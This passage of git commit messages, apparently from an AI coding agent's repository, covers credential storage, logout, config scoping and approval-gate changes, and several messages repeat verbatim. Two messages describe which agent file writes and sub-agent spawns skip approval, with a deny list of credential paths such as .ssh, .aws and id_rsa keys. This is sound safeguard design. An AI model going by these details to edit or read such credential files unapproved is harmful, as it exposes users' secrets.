secret-store slot, mirroring the CLI logout helper from #5159:
probe-before-delete so backends that error on missing items stay
quiet, shared slots (e.g. the historical siliconflow slot) delete
once, and any deletion failure fails the logout loudly instead of
claiming a clean wipe while credentials linger.
- clear_active_provider_api_key (TUI /logout) now deletes the active
provider's slot as well as its config entries. The /logout command
keeps its owner-pinned single-provider file semantics (cae14f4b9,
logout_clears_only_exact_named_custom_provider_key); its doc comment
is corrected to match.
- Both clears run the secret-store deletion even when the config file
is absent: the slot survives independently of the file.
- Both clears target the user-global document via credential_config_path
(#5193), so logout scrubs the same document login wrote.
- credential_secret_store_for_save renamed to credential_secret_store:
the cfg(test) isolation discipline (explicit CODEWHALE_HOME + explicit
backend) guards every secret-store mutation, not just saves.
Tests: full_logout_clears_secret_store_slot_and_config_document and
single_provider_logout_clears_secret_store_slot prove the read chain
finds nothing after save+logout (tempdirs canonicalized because the xAI
credential walker opens components with O_NOFOLLOW).
Evidence: cargo test -p codewhale-tui --bin codewhale-tui -- logout
6 passed 0 failed; config:: 484 passed; commands:: + credential_scope
728 passed.
Note: crates/tui/src/tui/ui.rs:13161 still comments that
commands::config::logout calls clear_api_key(); it actually calls
clear_active_provider_api_key (owner-pinned). ui.rs is another lane's
file, so the stale comment is flagged, not edited here.
Refs #5196, refs #5159, refs #5193.
fb1b05c7c (#5045) added codewhale_config::config_path_is_workspace_scoped
and the TUI credential_config_path() resolver so API keys, auth_mode
markers, and oauth/external-credential pointers never land in a
workspace-scoped <repo>/.codewhale/config.toml. Merge 83e7477d0 deleted
the implementation while keeping the regression tests, and the two
config::credential_scope_tests failures were waived as pre-existing
symlink noise — they were a live regression: with CODEWHALE_CONFIG_PATH
pointing at a repo config, saves wrote the key into the plaintext repo
file, invisible from every other repo (#5193).
Re-land adapted to current code:
- config: config_path_is_workspace_scoped() + testable _with_context
core; codewhale_home_override() now returns Result.
- tui config/paths: restore home_config_path() (explicit CODEWHALE_HOME
wins; otherwise ~/.codewhale/config.toml with legacy ~/.deepseek
fallback) against the Result-returning codewhale_home_dir().
- tui config: credential_config_path() reroutes every credential write
(root key save, plaintext file save, provider-identity save, external
credential consent persist/revoke, and both clear/logout paths) to
the user-global document when the ambient path is workspace-scoped.
Per-workspace destinations remain only as explicit-path opt-ins.
- tests: compare canonicalized paths — normalize_config_file_path
canonicalizes the parent, so a lexical compare on macOS both
false-fails and false-passes through the /var -> /private/var symlink.
Evidence: cargo test -p codewhale-tui --bin codewhale-tui credential_scope
2 passed 0 failed (was 0 passed 2 failed); cargo test -p codewhale-config
--lib 481 passed; cargo test -p codewhale-tui --bin codewhale-tui config::
482 passed.
Refs #5193, refs #5045.
The read chain lets a plaintext config-file api_key win over the
provider's durable secret-store slot (precedence steps 0/1). That is
deliberate — `codewhale auth set` must fix stale shell exports — but the
shadow was invisible: rotate the key in the secret store and nothing
changes, because the stale plaintext copy still wins (#5194).
Mirror the fleet-roster shadowing rule (#5098): precedence is normal,
but it must be VISIBLE. config_api_key_shadow_warning() decides whether
both sources hold a credential for the provider and builds a message
naming both sources (the exact config table/root slot and the
secret-store slot), which one won (the config file), and the resolve
command (`codewhale auth set --provider <id>`, which moves the key into
the secret store and strips the plaintext copy).
warn_on_config_api_key_shadowing() emits it via tracing::warn! at most
once per provider slot per process — credential resolution runs on every
request, and a repeating warning is noise, not signal. Wired into all
three config-file-wins branches: the DeepSeek root api_key, the
provider-table api_key, and the legacy literal-custom root key. The
probe uses the read-only store mode so the warning never triggers a
platform credential prompt.
Tests: config_api_key_shadow_warning_names_sources_winner_and_resolution
pins the message content; ..._stays_quiet_without_a_store_slot pins the
no-shadow case.
Evidence: cargo test -p codewhale-tui --bin codewhale-tui -- config::
486 passed 0 failed.
Refs #5194, refs #5098.
run_login_command_with_secrets wrote the provider selection and auth_mode
markers through the ambient ConfigStore, and AuthCommand::Set did the same
via persist_provider_api_key. With CODEWHALE_CONFIG_PATH pointing at a
workspace-scoped <repo>/.codewhale/config.toml, the provider binding and
auth markers landed in that repo's file: invisible from every other repo,
and an invitation for plaintext keys to drift into a committable document
(#5198). The secret-store key was already user-global; the metadata was
not.
Add credential_metadata_store(): when the ambient store's path classifies
as workspace-scoped (codewhale_config::config_path_is_workspace_scoped,
re-landed in 158b86f73), login and auth set retarget their config writes
to a store loaded on the user-global document
(codewhale_config::default_config_path — explicit CODEWHALE_HOME wins),
and say so on stderr. Key + provider binding + auth markers now share one
user-global scope by default; a workspace-scoped destination remains
possible only by pointing CODEWHALE_HOME itself at the workspace.
Tests: login_with_repo_scoped_ambient_config_writes_user_global_metadata
and auth_set_with_repo_scoped_ambient_config_writes_user_global_metadata
run both flows against a repo-scoped CODEWHALE_CONFIG_PATH and assert the
repo file stays byte-identical while the user-global document carries the
provider binding/auth markers and the key lands only in the secret store.
Evidence: cargo test -p codewhale-cli --lib 208 passed 0 failed.
Out of scope, flagged for follow-up: CLI logout/auth-clear still scrub
only the ambient document; when the ambient path is workspace-scoped the
user-global auth markers survive logout (no credential, just stale
metadata). Scrubbing the repo file of leaked plaintext keys on logout is
also still valuable, so that change wants its own decision.
Refs #5198, refs #5193, refs #5045.
clear_api_key_unlocked and clear_active_provider_api_key_unlocked only
stripped api_key entries from the config file; the provider's
secret-store slot survived, and since the read chain prefers the secret
store over the file, a "cleared" key silently came back on the next
launch (#5196).
- clear_api_key (full-wipe logout) now also deletes every provider's
secret-store slot, mirroring the CLI logout helper from #5159:
probe-before-delete so backends that error on missing items stay
quiet, shared slots (e.g. the historical siliconflow slot) delete
once, and any deletion failure fails the logout loudly instead of
claiming a clean wipe while credentials linger.
- clear_active_provider_api_key (TUI /logout) now deletes the active
provider's slot as well as its config entries. The /logout command
keeps its owner-pinned single-provider file semantics (cae14f4b9,
logout_clears_only_exact_named_custom_provider_key); its doc comment
is corrected to match.
- Both clears run the secret-store deletion even when the config file
is absent: the slot survives independently of the file.
- Both clears target the user-global document via credential_config_path
(#5193), so logout scrubs the same document login wrote.
- credential_secret_store_for_save renamed to credential_secret_store:
the cfg(test) isolation discipline (explicit CODEWHALE_HOME + explicit
backend) guards every secret-store mutation, not just saves.
Tests: full_logout_clears_secret_store_slot_and_config_document and
single_provider_logout_clears_secret_store_slot prove the read chain
finds nothing after save+logout (tempdirs canonicalized because the xAI
credential walker opens components with O_NOFOLLOW).
Evidence: cargo test -p codewhale-tui --bin codewhale-tui -- logout
6 passed 0 failed; config:: 484 passed; commands:: + credential_scope
728 passed.
Note: crates/tui/src/tui/ui.rs:13161 still comments that
commands::config::logout calls clear_api_key(); it actually calls
clear_active_provider_api_key (owner-pinned). ui.rs is another lane's
file, so the stale comment is flagged, not edited here.
Refs #5196, refs #5159, refs #5193.
fb1b05c7c (#5045) added codewhale_config::config_path_is_workspace_scoped
and the TUI credential_config_path() resolver so API keys, auth_mode
markers, and oauth/external-credential pointers never land in a
workspace-scoped <repo>/.codewhale/config.toml. Merge 83e7477d0 deleted
the implementation while keeping the regression tests, and the two
config::credential_scope_tests failures were waived as pre-existing
symlink noise — they were a live regression: with CODEWHALE_CONFIG_PATH
pointing at a repo config, saves wrote the key into the plaintext repo
file, invisible from every other repo (#5193).
Re-land adapted to current code:
- config: config_path_is_workspace_scoped() + testable _with_context
core; codewhale_home_override() now returns Result.
- tui config/paths: restore home_config_path() (explicit CODEWHALE_HOME
wins; otherwise ~/.codewhale/config.toml with legacy ~/.deepseek
fallback) against the Result-returning codewhale_home_dir().
- tui config: credential_config_path() reroutes every credential write
(root key save, plaintext file save, provider-identity save, external
credential consent persist/revoke, and both clear/logout paths) to
the user-global document when the ambient path is workspace-scoped.
Per-workspace destinations remain only as explicit-path opt-ins.
- tests: compare canonicalized paths — normalize_config_file_path
canonicalizes the parent, so a lexical compare on macOS both
false-fails and false-passes through the /var -> /private/var symlink.
Evidence: cargo test -p codewhale-tui --bin codewhale-tui credential_scope
2 passed 0 failed (was 0 passed 2 failed); cargo test -p codewhale-config
--lib 481 passed; cargo test -p codewhale-tui --bin codewhale-tui config::
482 passed.
Refs #5193, refs #5045.
agent action=start declared ApprovalRequirement::Required, so every
delegation was a modal in the default posture, and inside a child of a
non-auto parent every approval-gated tool was blocked outright — an
approved child could not even run the built-in test gate.
Two changes, paired with the #5185 in-workspace write carve-out:
1. Read-only role starts no longer modal. A start whose type/role parses
to a canonical read-only Fleet role (scout, planner, reviewer,
verifier, consultant, including legacy aliases like explore) resolves
to Auto. The child's own posture gates (role_posture_permits,
SubAgentToolRegistry) enforce read-only behavior from the inside, so
the spawn itself carries no write authority. Anything the parser
cannot prove read-only keeps the Required gate: missing or write-
capable roles, custom, roster profile references, conflicting
type/role pairs, and any explicit write authority other than
read_only.
2. Children inherit capability instead of parent auto-approve. The
Suggest branch now also admits calls that qualify for the #5185
in-workspace write carve-out (git work tree, no .git internals, no
runtime state, no sensitive files), so a write-posture child of an
Ask parent — worker included, not just builder/custom — can edit
in-workspace files. The Required branch delegates the bounded
built-in verification surface (fixed workspace-root command or pure
test selection, per the same classify_verification classifier the
execution envelope reads) to any shell-capable child, instead of
keying it off the root Operate accept_verification lease; that lease
remains as work-graph provenance. Arbitrary shell and unbounded
verification argv stay gated, and read-only roles still bounce at
posture before any of this is reached.
Update the shipped Suggest approval-policy text: read-only role spawns
are listed alongside the write carve-out as not requiring approval;
write-capable spawns still do. Tool schemas are unchanged.
Tests: start-gate matrix (read-only roles and aliases demoted, worker/
builder/custom/roster/conflict/write-authority gated, non-start actions
unchanged); Ask-parent worker child edits in-workspace but not
.env/.git/out-of-tree and not without a git marker; Ask-parent builder
child runs bounded verification while arbitrary shell and unbounded
argv keep the approval error.
The default session posture is Suggest, and the unified resolver turned
every WritesFiles tool call into a modal — editing src/main.rs prompted
exactly like rm -rf. k3's read-edit-test loop hit a modal on every edit.
Add a path-scoped carve-out at the resolver seam, following the shape of
kimi-code's git-cwd-write-approve policy: under the default Ask posture
(Agent-family mode, Suggest approvals, no auto-approve), a canonical
file-write call (write_file / edit_file / apply_patch, including File
write|edit|patch actions) runs without a modal when every target path
resolves inside the workspace git work tree. The carve-out refuses:
- workspaces without a .git work-tree marker (recoverability through
version control is the carve-out's rationale),
- out-of-tree paths, including '..' escapes and symlink hops (deepest
existing ancestor is canonicalized and re-checked),
- .git internals, .codewhale runtime state (session/MCP/hook config),
- sensitive files: .env*, .netrc/.npmrc/.pypirc, credentials*, .ssh/.aws/
.gnupg/.kube/.docker components, id_rsa/id_ed25519-style keys, and
pem/key/p12/pfx/jks/keystore extensions.
Only the default Ask posture relaxes. Full Access already ran these
calls; Never still denies; Auto-Review still fails unresolved holds
closed; Plan stays read-only. Typed ask-rules, ToolCallBefore hooks, the
built-in safety floor, and repo law all evaluate after the carve-out and
can still force a prompt; non-bypassable holds are untouched. Shell,
code execution, and destructive commands never qualify.
Update the shipped Suggest approval-policy text so what the model is
told matches the new policy: in-workspace edits run silently, excluded
paths and everything else still prompt. Tool schemas are unchanged.
Tests: posture/path matrix in core::authority (in-workspace allowed;
out-of-tree, sensitive, .git, symlink escapes, no-git-marker rejected);
engine wiring test covering legacy and canonical tool names and the
Full Access / Auto-Review / Never / Plan non-changes.
detectFromBrowserSignals declared 'macos-x64' in its Arch union but
could never return it: every non-Windows, non-Linux UA fell through to
'macos-arm64', silently handing Intel Mac users the Apple Silicon
binary snippet.
Since Big Sur the macOS UA reports 'Intel Mac OS X' on Apple Silicon
too, so UA parsing fundamentally cannot distinguish the two — only
User-Agent Client Hints can. The component already requests
architecture/bitness hints; the detector now honors them on the macOS
branch (x86 -> macos-x64). Without hints the default stays arm64 (every
Mac sold since late 2020) and the page's existing arch chooser remains
the honest fallback, so nobody is silently misdetected.
Vitest pins: x86 hint -> macos-x64, arm hint -> macos-arm64, and the
deliberate no-hint arm64 default on the frozen Intel UA.
Agent-assisted change.
Every search/get ran a full-tree reindex scan under the exclusive write
lock, so concurrent readers serialized and writers queued behind reads
even when nothing had changed. The refresh itself must stay: Markdown is
authoritative and direct edits must be visible on the next read even
with no file-watcher thread.
Split the read path: a freshness check (tree walk + mtime comparison
against memory_sources, read-only queries) runs under a shared read
lock; only an added, removed, or touched source escalates to the
existing write-locked reindex. Reads on an unchanged tree now run
concurrently; the changed-tree path is byte-for-byte the old behavior.
Pin test covers the escalation gate: unchanged tree stays on the read
path, direct edit and source removal escalate, reindexed tree is fresh
again. The existing direct-edit-visibility test pins the contract the
other way.
Agent-assisted change.
probe() documented 'returns Ok if a backend is reachable' and the
account/backend-selection fallbacks rely on that contract, but on
macOS/Windows it only built a keyring::Entry — argument validation, no
backend contact — behind a comment claiming a dummy read could prompt.
The documented file-store fallback was therefore dead on two of three
platforms: a broken keyring was only discovered at real use.
The comment overstated the risk: macOS surfaces Keychain UI only when
reading an *existing* item owned by another app, and Windows Credential
Manager never prompts for a missing target, so reading the deliberately
absent '__probe__' entry under our own service name is silent. Unify all
three platforms on the read probe: NoEntry now proves reachability
everywhere.
Verified live on macOS via an opt-in (--ignored) test that probes the
real Keychain; it passes with no prompt.
Agent-assisted change.
Re-verification note: the filed claim that prose-wrapped drafts are
dropped was already stale — the parser did balanced-block extraction and
plain/fenced prose-wrapped drafts parsed. What remained true at the
anchor: extraction keyed off the first '{' in the reply, so prose that
itself contained a balanced or unbalanced brace pair before the real
JSON made the draft unparseable, and the drop was silent.
extract_first_json_object becomes an iterator over every balanced
top-level object (strings/escapes respected, unbalanced '{' skipped);
from_untrusted_json tries candidates in order until one parses, and
every drop now logs a tracing::warn naming how many objects were tried
and the last parse error.
Pin tests: prose with a brace pair before the draft, prose with an
unbalanced brace before the draft, and a drop reason naming the
candidates tried.
Agent-assisted change.
The runtime answers resume/fork of an unknown thread with an Ok
ThreadResponse carrying status "missing" and null model/cwd. The stdio
dispatcher then recorded that response as the thread's hint, clobbering
any previously cached model/workspace for the id — the next
thread/message resurrected the thread with no model or workspace.
Guard both dispatch arms with ensure_thread_found: a "missing" response
now fails the request with a named JSON-RPC server error (-32004,
'thread not found: <id>') and the hint cache is left untouched. The HTTP
surface keeps the existing status payload; crates/core is untouched.
Pin test seeds a hint for a ghost thread, asserts both resume and fork
fail with -32004, and asserts the cached hint survives intact.
Agent-assisted change.
The EngineConfig.max_tool_calls doc promises a 'cap on admitted tool
calls', but the turn loop debited the budget at the first gate and never
refunded, so a call stopped by any later gate (deny-list, allow-list,
caller check, missing tool, hooks, sandbox posture) still burned a slot
and could exhaust the budget on calls that never executed.
Resolve the contradiction in favor of the documented contract: the cap
counts admitted calls. ToolCallBudget gains a clamped refund(); the
turn loop tracks whether the current call debited and hands the slot
back before plan construction whenever blocked_error is set. The budget
gate's own rejection never debited, so there is nothing to refund there.
Pin test: with a cap of 1, a first proposal blocked by the missing-tool
gate leaves room for the second proposal to execute; pre-fix it was
rejected as over budget.
Agent-assisted change.
Named custom providers are not in ProviderKind::ALL, so
'config set providers.<custom>.<field>' fell through the built-in key
parser into a literal top-level extras key: the set never took effect
and the junk key round-tripped in the saved file. This blocked standing
up a custom provider (e.g. Alibaba Model Studio, #5174) from the CLI.
Parse the custom-provider legs deliberately: sets write typed values
into the [providers.<id>] table (creating it on first set, validating
kind = "openai-compatible"), gets/display reads render from that table
with the same redaction as built-ins, and unsets remove the leg.
Unknown fields now fail with a corrective error naming the valid shape
instead of landing in extras — for built-in providers too.
Pin tests cover the full set/get/serialize/bind/unset round trip and
both corrective errors.
Agent-assisted change.
build_state registered StdoutHookSink unconditionally, and that sink
println!s raw hook JSON. In stdio mode stdout is the JSON-RPC transport,
so any hook event corrupted the protocol stream for the client.
Gate the stdout sink on the HTTP transport via the existing AppTransport
enum; stdio keeps the JSONL file sink (and any configured unix socket
sink) but never prints hook events. Adds HookDispatcher::sink_count so
transport setup is assertable; pin test builds both transports and
asserts stdio registers exactly one fewer sink than HTTP.
Agent-assisted change.
Secrets::file_backed_read_only used to fall back to a cwd-relative
.codewhale-secrets.json when the diagnostic path resolution failed, so a
planted workspace file became the credential store. That broke the same
fail-closed invariant the writable path already enforces in
file_backed_from_default_path.
Mirror the writable path: on resolution failure, log an error naming the
failed resolution plus the fix (absolute CODEWHALE_HOME or a resolvable
HOME/USERPROFILE) and return the hermetic read-only empty store.
Pin test plants .codewhale-secrets.json in the cwd with a relative
CODEWHALE_HOME forcing the failure and asserts the credential is not
read and writes stay refused.
Agent-assisted change.
agent action=start declared ApprovalRequirement::Required, so every
delegation was a modal in the default posture, and inside a child of a
non-auto parent every approval-gated tool was blocked outright — an
approved child could not even run the built-in test gate.
Two changes, paired with the #5185 in-workspace write carve-out:
1. Read-only role starts no longer modal. A start whose type/role parses
to a canonical read-only Fleet role (scout, planner, reviewer,
verifier, consultant, including legacy aliases like explore) resolves
to Auto. The child's own posture gates (role_posture_permits,
SubAgentToolRegistry) enforce read-only behavior from the inside, so
the spawn itself carries no write authority. Anything the parser
cannot prove read-only keeps the Required gate: missing or write-
capable roles, custom, roster profile references, conflicting
type/role pairs, and any explicit write authority other than
read_only.
2. Children inherit capability instead of parent auto-approve. The
Suggest branch now also admits calls that qualify for the #5185
in-workspace write carve-out (git work tree, no .git internals, no
runtime state, no sensitive files), so a write-posture child of an
Ask parent — worker included, not just builder/custom — can edit
in-workspace files. The Required branch delegates the bounded
built-in verification surface (fixed workspace-root command or pure
test selection, per the same classify_verification classifier the
execution envelope reads) to any shell-capable child, instead of
keying it off the root Operate accept_verification lease; that lease
remains as work-graph provenance. Arbitrary shell and unbounded
verification argv stay gated, and read-only roles still bounce at
posture before any of this is reached.
Update the shipped Suggest approval-policy text: read-only role spawns
are listed alongside the write carve-out as not requiring approval;
write-capable spawns still do. Tool schemas are unchanged.
Tests: start-gate matrix (read-only roles and aliases demoted, worker/
builder/custom/roster/conflict/write-authority gated, non-start actions
unchanged); Ask-parent worker child edits in-workspace but not
.env/.git/out-of-tree and not without a git marker; Ask-parent builder
child runs bounded verification while arbitrary shell and unbounded
argv keep the approval error.
The default session posture is Suggest, and the unified resolver turned
every WritesFiles tool call into a modal — editing src/main.rs prompted
exactly like rm -rf. k3's read-edit-test loop hit a modal on every edit.
Add a path-scoped carve-out at the resolver seam, following the shape of
kimi-code's git-cwd-write-approve policy: under the default Ask posture
(Agent-family mode, Suggest approvals, no auto-approve), a canonical
file-write call (write_file / edit_file / apply_patch, including File
write|edit|patch actions) runs without a modal when every target path
resolves inside the workspace git work tree. The carve-out refuses:
- workspaces without a .git work-tree marker (recoverability through
version control is the carve-out's rationale),
- out-of-tree paths, including '..' escapes and symlink hops (deepest
existing ancestor is canonicalized and re-checked),
- .git internals, .codewhale runtime state (session/MCP/hook config),
- sensitive files: .env*, .netrc/.npmrc/.pypirc, credentials*, .ssh/.aws/
.gnupg/.kube/.docker components, id_rsa/id_ed25519-style keys, and
pem/key/p12/pfx/jks/keystore extensions.
Only the default Ask posture relaxes. Full Access already ran these
calls; Never still denies; Auto-Review still fails unresolved holds
closed; Plan stays read-only. Typed ask-rules, ToolCallBefore hooks, the
built-in safety floor, and repo law all evaluate after the carve-out and
can still force a prompt; non-bypassable holds are untouched. Shell,
code execution, and destructive commands never qualify.
Update the shipped Suggest approval-policy text so what the model is
told matches the new policy: in-workspace edits run silently, excluded
paths and everything else still prompt. Tool schemas are unchanged.
Tests: posture/path matrix in core::authority (in-workspace allowed;
out-of-tree, sensitive, .git, symlink escapes, no-git-marker rejected);
engine wiring test covering legacy and canonical tool names and the
Full Access / Auto-Review / Never / Plan non-changes.
CI Lint was red on main: largest module 19139 > 19125 and aggregate
649063 > 648460 owned Rust lines (the v0.9.4 candidate work grew ui.rs
and friends past the ratchet). Re-baseline to the measured actuals so the
gate is green; the ui.rs extraction debt stays tracked as its own item —
this buys no new headroom beyond reality.
Verified: python3 scripts/check-source-structure-budget.py — PASS (exit=0).
detectFromBrowserSignals declared 'macos-x64' in its Arch union but
could never return it: every non-Windows, non-Linux UA fell through to
'macos-arm64', silently handing Intel Mac users the Apple Silicon
binary snippet.
Since Big Sur the macOS UA reports 'Intel Mac OS X' on Apple Silicon
too, so UA parsing fundamentally cannot distinguish the two — only
User-Agent Client Hints can. The component already requests
architecture/bitness hints; the detector now honors them on the macOS
branch (x86 -> macos-x64). Without hints the default stays arm64 (every
Mac sold since late 2020) and the page's existing arch chooser remains
the honest fallback, so nobody is silently misdetected.
Vitest pins: x86 hint -> macos-x64, arm hint -> macos-arm64, and the
deliberate no-hint arm64 default on the frozen Intel UA.
Agent-assisted change.
Every search/get ran a full-tree reindex scan under the exclusive write
lock, so concurrent readers serialized and writers queued behind reads
even when nothing had changed. The refresh itself must stay: Markdown is
authoritative and direct edits must be visible on the next read even
with no file-watcher thread.
Split the read path: a freshness check (tree walk + mtime comparison
against memory_sources, read-only queries) runs under a shared read
lock; only an added, removed, or touched source escalates to the
existing write-locked reindex. Reads on an unchanged tree now run
concurrently; the changed-tree path is byte-for-byte the old behavior.
Pin test covers the escalation gate: unchanged tree stays on the read
path, direct edit and source removal escalate, reindexed tree is fresh
again. The existing direct-edit-visibility test pins the contract the
other way.
Agent-assisted change.
probe() documented 'returns Ok if a backend is reachable' and the
account/backend-selection fallbacks rely on that contract, but on
macOS/Windows it only built a keyring::Entry — argument validation, no
backend contact — behind a comment claiming a dummy read could prompt.
The documented file-store fallback was therefore dead on two of three
platforms: a broken keyring was only discovered at real use.
The comment overstated the risk: macOS surfaces Keychain UI only when
reading an *existing* item owned by another app, and Windows Credential
Manager never prompts for a missing target, so reading the deliberately
absent '__probe__' entry under our own service name is silent. Unify all
three platforms on the read probe: NoEntry now proves reachability
everywhere.
Verified live on macOS via an opt-in (--ignored) test that probes the
real Keychain; it passes with no prompt.
Agent-assisted change.
Re-verification note: the filed claim that prose-wrapped drafts are
dropped was already stale — the parser did balanced-block extraction and
plain/fenced prose-wrapped drafts parsed. What remained true at the
anchor: extraction keyed off the first '{' in the reply, so prose that
itself contained a balanced or unbalanced brace pair before the real
JSON made the draft unparseable, and the drop was silent.
extract_first_json_object becomes an iterator over every balanced
top-level object (strings/escapes respected, unbalanced '{' skipped);
from_untrusted_json tries candidates in order until one parses, and
every drop now logs a tracing::warn naming how many objects were tried
and the last parse error.
Pin tests: prose with a brace pair before the draft, prose with an
unbalanced brace before the draft, and a drop reason naming the
candidates tried.
Agent-assisted change.
The runtime answers resume/fork of an unknown thread with an Ok
ThreadResponse carrying status "missing" and null model/cwd. The stdio
dispatcher then recorded that response as the thread's hint, clobbering
any previously cached model/workspace for the id — the next
thread/message resurrected the thread with no model or workspace.
Guard both dispatch arms with ensure_thread_found: a "missing" response
now fails the request with a named JSON-RPC server error (-32004,
'thread not found: <id>') and the hint cache is left untouched. The HTTP
surface keeps the existing status payload; crates/core is untouched.
Pin test seeds a hint for a ghost thread, asserts both resume and fork
fail with -32004, and asserts the cached hint survives intact.
Agent-assisted change.
The EngineConfig.max_tool_calls doc promises a 'cap on admitted tool
calls', but the turn loop debited the budget at the first gate and never
refunded, so a call stopped by any later gate (deny-list, allow-list,
caller check, missing tool, hooks, sandbox posture) still burned a slot
and could exhaust the budget on calls that never executed.
Resolve the contradiction in favor of the documented contract: the cap
counts admitted calls. ToolCallBudget gains a clamped refund(); the
turn loop tracks whether the current call debited and hands the slot
back before plan construction whenever blocked_error is set. The budget
gate's own rejection never debited, so there is nothing to refund there.
Pin test: with a cap of 1, a first proposal blocked by the missing-tool
gate leaves room for the second proposal to execute; pre-fix it was
rejected as over budget.
Agent-assisted change.
Named custom providers are not in ProviderKind::ALL, so
'config set providers.<custom>.<field>' fell through the built-in key
parser into a literal top-level extras key: the set never took effect
and the junk key round-tripped in the saved file. This blocked standing
up a custom provider (e.g. Alibaba Model Studio, #5174) from the CLI.
Parse the custom-provider legs deliberately: sets write typed values
into the [providers.<id>] table (creating it on first set, validating
kind = "openai-compatible"), gets/display reads render from that table
with the same redaction as built-ins, and unsets remove the leg.
Unknown fields now fail with a corrective error naming the valid shape
instead of landing in extras — for built-in providers too.
Pin tests cover the full set/get/serialize/bind/unset round trip and
both corrective errors.
Agent-assisted change.
build_state registered StdoutHookSink unconditionally, and that sink
println!s raw hook JSON. In stdio mode stdout is the JSON-RPC transport,
so any hook event corrupted the protocol stream for the client.
Gate the stdout sink on the HTTP transport via the existing AppTransport
enum; stdio keeps the JSONL file sink (and any configured unix socket
sink) but never prints hook events. Adds HookDispatcher::sink_count so
transport setup is assertable; pin test builds both transports and
asserts stdio registers exactly one fewer sink than HTTP.
Agent-assisted change.
Secrets::file_backed_read_only used to fall back to a cwd-relative
.codewhale-secrets.json when the diagnostic path resolution failed, so a
planted workspace file became the credential store. That broke the same
fail-closed invariant the writable path already enforces in
file_backed_from_default_path.
Mirror the writable path: on resolution failure, log an error naming the
failed resolution plus the fix (absolute CODEWHALE_HOME or a resolvable
HOME/USERPROFILE) and return the hermetic read-only empty store.
Pin test plants .codewhale-secrets.json in the cwd with a relative
CODEWHALE_HOME forcing the failure and asserts the credential is not
read and writes stay refused.
Agent-assisted change.
PR #5104's composer test
(immediate_submit_custom_provider_missing_key_preflight_shows_auth_next_step)
was red on the train: an immediate submit on a custom provider whose
api_key_env variable is unset was expected to stay inside the TUI with the
composer restored and the formatted preflight error as status, but app.input
came back empty.
Root cause is upstream of the composer: the dispatch machinery
(build_dispatch_error_closure -> restore_failed_immediate_submit) was never
reached because no error occurred. In
Config::deepseek_api_key_with_secret_store_mode, step 1b's
provider_config_env_api_key returned None when the explicitly bound env var
was unset, and resolution then fell through to the self-hosted loopback
keyless fallback (Ok("")) — so turn-route preflight SUCCEEDED, the turn
dispatched unauthenticated, and the success closure kept the composer
cleared. The sibling TLS test passed precisely because
insecure_skip_tls_verify fails base-URL validation even on loopback.
Fix: for a custom provider, an api_key_env binding that names an unset or
empty variable is now a broken credential contract, not a keyless route —
the resolver fails loudly, naming the env var and the route-scoped fix
(set the variable, or remove api_key_env to run the endpoint without
credentials). That error flows through the existing #5104 formatter
(format_provider_route_preflight_error, 'api key not found' -> auth next
step), the dispatch error closure rolls back history/api_messages, and
restore_failed_immediate_submit restores the composer with the formatted
status. Built-in providers keep their fallthrough semantics (secret store /
ambient credentials remain legitimate there); no other call site changes —
provider_config_env_api_key is now derived from the shared
bound_provider_api_key_env_name helper.
Receipts (all 'cmd; echo exit=$?', no pipes):
- cargo test -p codewhale-tui --bin codewhale-tui immediate_submit_custom_provider -> 2 passed
- ... preflight -> 29 passed; composer -> 112 passed; submit -> 69 passed
- ... custom_provider -> 44 passed; auth -> 236 passed
- full bin suite: only pre-existing reds — config::credential_scope_tests::*
(macOS /private symlink, documented baseline) and
prompts::tests::tool_descriptions_carry_edit_and_shell_guidance (verified
failing at base 25b62468e via stash; unrelated prompt-description drift)
- cargo fmt --check -p codewhale-tui -> clean
A workflow run's token_budget was only an admission gate: each admitted
child's accounting was frozen to the remaining-at-attach snapshot and
nothing re-checked the scope while children ran. A 16-way fan-out
(attached while the scope was nearly empty) could collectively burn
many times the configured budget while the run reported Completed.
The worker loop now re-reads the live scope aggregate after every model
turn (new SubAgentManager::budget_scope_state) and stops the worker
with BudgetExhausted once collective spend exceeds the scope limit,
using the same > semantics as the per-worker cap so a turn landing
exactly on the limit still completes. Overshoot is bounded by the turns
already in flight, and over-budget children surface as BudgetExhausted
instead of a silent clean Completed.
Test: two uncapped children share a 150-token scope; the first
completes at 100, the second stops with BudgetExhausted after the turn
that crosses the ceiling instead of running on.
cargo test -p codewhale-tui --bin codewhale-tui budget: 117 passed, 0 failed.
cargo test -p codewhale-tui --bin codewhale-tui subagent: 523 passed, 0 failed.
LaneGateBoard.artifacts was append-only: every same-role task
re-received up to 4 prior handoff payloads (4x4KB of stale evidence and
token bloat) while HandoffConsumed receipts fired as if the artifacts
were spent.
LaneGateBoard gains consume_handoffs_for(role, limit), which removes
and returns the newest matching artifacts. prepare_request_for_gates
now consumes on admission (blocked roles leave handoffs in place for
the post-gate retry), so each handoff is delivered to exactly one task
and the HandoffConsumed receipt tells the truth.
The explicit-verdict test's tail assertion encoded the append-only
behavior; it now asserts the truthful post-consumption state (the
delivery itself is still asserted on the request payload).
Tests: board-level consume-once semantics (order, limit, other roles
untouched); driver-level second same-role task receives no handoff.
cargo test -p codewhale-workflow: 253 passed, 0 failed.
cargo test -p codewhale-tui --bin codewhale-tui workflow: 156 passed, 0 failed.
In the multi-select user-input view, Enter on a highlighted option
toggled it into the pending set — so a second Enter (single-select
muscle memory, and the same view's own single-select contract) toggled
it back out, and Confirm then submitted an empty answer set.
Enter on a multi-select option now adds it to the pending set (it never
removes — deselecting stays Space's job) and moves focus to the Confirm
row, so Enter-then-Enter submits the highlighted option. The footer
hint now reads 'Enter select/confirm'.
Tests: double-Enter submits exactly the highlighted option (never an
empty set); Enter on an already-toggled option keeps it pending while
Space still toggles both ways.
cargo test -p codewhale-tui --bin codewhale-tui user_input: 26 passed, 0 failed.
Logout cleared plaintext config for every provider but deleted the
keyring secret only for the active provider, and swallowed any deletion
error — so 'logged out' was false for every other provider with a
stored credential.
Logout now iterates all providers, deletes each stored keyring
credential (deduping shared slots like siliconflow), and reports any
deletion failure on stderr with a marked logout line instead of
silently claiming success. The per-provider clear_auth_provider path is
unchanged.
Test: with keyring entries for deepseek (active) and fireworks
(inactive), logout removes both.
cargo test -p codewhale-cli: 205 passed, 0 failed.
The v0->v1 migration ran unconditional ALTER TABLE ... ADD COLUMN for
messages.parent_entry_id and threads.current_leaf_id (and v4 did the
same for thread_goals.continuation_count). A database restored with a
v0 header, or stamped by a racing process that crashed before setting
user_version, already carries those columns, so the open aborted with
'duplicate column name'.
Each ALTER is now guarded by a PRAGMA table_info column check (skipped
when the column already exists), and idx_messages_parent_entry_id uses
CREATE INDEX IF NOT EXISTS. The backfill UPDATEs are naturally
idempotent and still run.
Test: fully migrate a database, roll its header back to user_version 0,
